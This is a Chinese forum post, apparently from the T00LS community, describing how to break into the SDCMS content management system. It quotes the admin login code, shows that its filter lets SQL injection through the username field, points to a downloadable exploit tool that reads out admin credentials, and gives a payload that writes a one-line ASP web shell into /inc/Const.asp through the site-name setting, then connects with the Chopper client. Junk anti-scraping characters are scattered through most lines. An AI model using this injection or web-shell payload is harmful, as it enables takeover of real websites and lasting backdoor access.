作者:T00LS 鬼哥9 v( H* ]1 }; s% [- h+ b+ f6 s
漏洞文件:后台目录/index.asp
! w8 j1 P% N. C) L" m
2 g4 R3 O5 a/ j: `4 E3 t8 i" u- GSub Check+ z; P$ }& p- m( d c; y
Dim username,password,code,getcode,Rs O; T( g9 d; t9 v- Q; a/ i, T
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub) `) \- c) I' n0 U1 {
username=FilterText(Trim(Request.Form("username")),1)
/ ~& }* z: I; S password=FilterText(Trim(Request.Form("password")),1)
- U* z6 H: r( [% w" j0 I9 I- h code=Trim(Request.Form("yzm"))
0 q* Q& q( `% c6 G+ m | getcode=Session("SDCMSCode")2 U8 |* x# g( ~- D& q2 l
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died0 Y. k2 `6 ?% z
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied, L/ H2 }' y' K5 ]
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied0 P* \" X& t9 J
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
8 c; X- \! O5 }2 u IF username="" or password="" Then, v; Z V1 m6 P9 A: w6 v1 k% Y. L
Echo "用户名或密码不能为空" ied
: Y& N7 U; h2 }0 \, ~ Else
% @- z* N+ K1 W Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
2 }2 }/ L1 x0 W! ^% h1 G IF Rs.Eof Then
: r0 }7 i7 S, \, {0 y& m' q* W& H AddLog username,GetIp,"登录失败",17 t% H$ |+ N7 _9 P4 s
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会") B9 e4 H$ a5 u, w1 S
Else
" h8 A8 u, }* \* A Add_Cookies "sdcms_id",Rs(0)* Z* C8 L. K, P. p1 q8 @' Z
Add_Cookies "sdcms_name",username
~9 P# c* X n6 }% _$ ] Add_Cookies "sdcms_pwd",Rs(2)
- Y' B" t4 A6 g' f; Y8 J3 C Add_Cookies "sdcms_admin",Rs(3)
1 I1 K/ H2 ~" a. Q, P Add_Cookies "sdcms_alllever",Rs(4)
8 i4 q0 f& g0 A- E4 N0 a$ q Add_Cookies "sdcms_infolever",Rs(5), S4 {, _( S! h
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
" I* m% P$ W1 l8 G! F& l AddLog username,GetIp,"登录成功",1
6 W3 L: G$ T3 \# i& |# E: m) C '自动删除30天前的Log记录
+ t+ }7 |9 g0 J IF Sdcms_DataType Then
5 Q. g3 c8 k2 \: Z Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
- B; P+ }8 z) L e# F& m Else
, z& V7 a9 i1 K7 M. m' \ Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
: n- O% n, ?4 x: r# F End IF
( a6 F2 k7 Q e; w" i* | Go("sdcms_index.asp")
: `- l4 Q( [- A7 R7 Q End IF
: v/ H$ W7 @+ h Rs.Close% c4 G/ i& x1 o, I" F5 @) [
Set Rs=Nothing: q( T0 [' ^9 w* z4 c
End IF
- {; J1 k1 l) c" Y3 o- b& Q1 K& LEnd Sub% ~ ]% \" c% R0 `
) C6 K4 Q" _( J’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
* E6 v$ _4 V4 ] g: ^6 t9 V
0 L' U, L0 Z0 P2 S( o( s3 y: D, mFunction FilterText(ByVal t0,ByVal t1), p- N6 t: N: B4 B' J$ y
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
6 e/ H* X- ~8 a: d3 A. h t0=Trim(t0)! o0 X$ w; n2 z7 _) X3 v1 A) Z# \
Select Case t1
$ Y! J6 C, K+ a Case "1"
. J- x9 r7 G- b' K1 c* p% [ t0=Replace(t0,Chr(32),"")
6 P) y+ @0 U0 s$ G t0=Replace(t0,Chr(13),"")
7 Q# }' q' I" p5 |( k3 `" _ t0=Replace(t0,Chr(10)&Chr(10),"")
6 Q) j1 K x x4 p% @ t0=Replace(t0,Chr(10),"")
( P; E+ L/ x' x% c- {: t Case "2"
" q' H, i' r, ~, ?7 @2 B, k4 y t0=Replace(t0,Chr(8),"")'回格3 ]# U" H3 u0 b! S; s
t0=Replace(t0,Chr(9),"")'tab(水平制表符)( i5 P8 g7 B: J1 ]2 V
t0=Replace(t0,Chr(10),"")'换行
9 e }+ C0 s! ] t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
' E% G6 ]7 \1 h6 ^- ] Q t0=Replace(t0,Chr(12),"")'换页
( K- K3 m' @6 G3 m t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合1 c9 m& t9 S, Q6 o, {
t0=Replace(t0,Chr(22),"")
$ D8 x/ ]8 T8 r# h @ t0=Replace(t0,Chr(32),"")'空格 SPACE7 M k0 G& y0 B6 Y$ c4 ]3 j
t0=Replace(t0,Chr(33),"")'!
1 g5 H) c; P4 r" R* O t0=Replace(t0,Chr(34),"")'"2 Q& u' r' ]7 L
t0=Replace(t0,Chr(35),"")'#0 k, D' N' p; \4 d, ~! r/ I
t0=Replace(t0,Chr(36),"")'$
4 U& k0 D: Q4 R t0=Replace(t0,Chr(37),"")'%
, s c. K% o T6 I/ i9 L8 h t0=Replace(t0,Chr(38),"")'&% h5 T1 ^& S9 V6 r& d& u: T Z
t0=Replace(t0,Chr(39),"")''
7 D6 e; x( h6 N: K0 r& q9 r0 | t0=Replace(t0,Chr(40),"")'( H! W0 J7 _4 T1 g% K
t0=Replace(t0,Chr(41),"")')
6 ~' p4 p* x' J+ z& Q t0=Replace(t0,Chr(42),"")'*
; w! e) q1 q0 l8 i t0=Replace(t0,Chr(43),"")'+. {5 ]1 I5 O/ e
t0=Replace(t0,Chr(44),"")',2 v, d$ d4 w6 T$ J- R/ h6 j* ^9 q
t0=Replace(t0,Chr(45),"")'-
. E& _9 ~& b+ D* ~ t0=Replace(t0,Chr(46),"")'.
4 L0 \ ]- ^2 g8 b8 K3 z* W t0=Replace(t0,Chr(47),"")'/8 ^0 M6 s( ?: n! N/ K5 \7 ?8 U
t0=Replace(t0,Chr(58),"")':9 t& n9 |4 ]: F) b
t0=Replace(t0,Chr(59),"")';0 U) V. z; D( s4 [, e3 N
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>; K- M6 P' ?1 f4 O% d W9 ?# T
t0=Replace(t0,Chr(63),"")'?; O8 ?! R4 D; }" }" T
t0=Replace(t0,Chr(64),"")'@6 Z) d+ |* ]- z
t0=Replace(t0,Chr(91),"")'\* r, Q3 R E; \! J6 k
t0=Replace(t0,Chr(92),"")'\
8 k' v! F) u- B- n t0=Replace(t0,Chr(93),"")']+ N5 a6 ~4 p1 m9 e
t0=Replace(t0,Chr(94),"")'^2 U4 f, u. \3 B4 Y. U3 s
t0=Replace(t0,Chr(95),"")'_' X3 g, {5 j& y s2 V! l, \% U
t0=Replace(t0,Chr(96),"")'`
/ A( ` O4 p# D; s) g, Q t0=Replace(t0,Chr(123),"")'{
: o# U; ^* J; V; X; Z t0=Replace(t0,Chr(124),"")'|
- l" M2 h) W9 n h4 f: V t0=Replace(t0,Chr(125),"")'}
8 q5 Q! `1 C$ n7 @ t0=Replace(t0,Chr(126),"")'~
3 l. l+ @- g( U- Y/ X Case Else
) Y+ K7 ]3 ?6 V9 U$ M# g0 o t0=Replace(t0, "&", "&"): h/ P2 F3 q7 d" y3 F
t0=Replace(t0, "'", "'")
8 l4 _0 F2 l4 {5 ] r t0=Replace(t0, """", """)1 d0 b4 A. d3 w" B
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
+ P8 @9 O C( W6 `( F, O6 m- K End Select
1 k4 m" Y- S/ y" Y IF Instr(Lcase(t0),"expression")>0 Then
9 _$ V3 @6 n3 V/ B t0=Replace(t0,"expression","e­xpression", 1, -1, 0); d% {' T E& b9 y8 y2 f
End If
8 C' r% q, R0 V, c" `8 [6 ]( p FilterText=t0
* i9 K- m- I$ J1 J% j8 v( yEnd Function2 G! V! B# s+ M( ~
8 q/ q8 K w8 e6 w/ }8 A# d看到没。直接参数是1 只过滤 x- f( o0 i+ N
t0=Replace(t0,Chr(32)," ")7 n, `& k8 i8 Y$ Q
t0=Replace(t0,Chr(13),"")7 }4 e. W A1 }2 p( k6 O
t0=Replace(t0,Chr(10)&Chr(10),"7 j& k% I, V3 H
")
! M) O+ j# [( M! z% W( k t0=Replace(t0,Chr(10),"- P% k" |% x( i0 Z
")
) g: h. y1 [: D- k4 G) k4 a漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
; k0 X" R4 x0 o! y7 z& M& l; }EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP) q7 a4 V( k3 h r9 \) N; A' p
0 i. x" w% U# P0 M) e r测试:
' c% q/ \( s, a) t8 y) ~; I$ j% o2 j! `5 J' M8 `' D
3 H/ W/ J2 I: V6 a/ O$ h5 h% Y
现在输入工具上验证码,然后点OK
$ }8 F/ x' i' _4 B! j3 o1 F( j2 I$ R3 a# [) O
; _9 q# m( ?3 t% B看到我们直接进入后台管理界面了,呵呵!
! R8 H3 T8 ^# v- L" X
& ~+ a3 y8 B" R3 y& m- j7 a% d- O3 p) M8 F; y0 ~6 t1 N; {4 r! p
" y; z+ \! q; K, H这样直接进入后台了。。。。4 E+ j# Z0 j5 m6 O, q; E
+ O! n% \! Y. Q
/ {: R! V. ]/ C# T; `0 ^2 f8 G. l0 F2 O
- ], Q' ?8 t; K" J QSDCMS提权:
* ^. m D6 e1 o& B# M- W2 ~, z* @
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?0 n! z5 u9 R6 X! C- L- y1 \& s
9 O6 l5 F: n' [3 O
0 {+ p, h0 K( f1 p3 U/ |. ?
f2 P% u! k, m0 }/ ]2 b2 bOK,现在用菜刀连接下!
1 L/ Z) Z$ F# A: X0 _, W7 X) O( u5 t
8 b2 H [0 I/ ?+ T+ ~9 V
) `* @/ I1 i: O2 s& \
# b* `* C. C* \! H+ i' }
- c% ?7 n- \) R4 C% b. |% e2 r |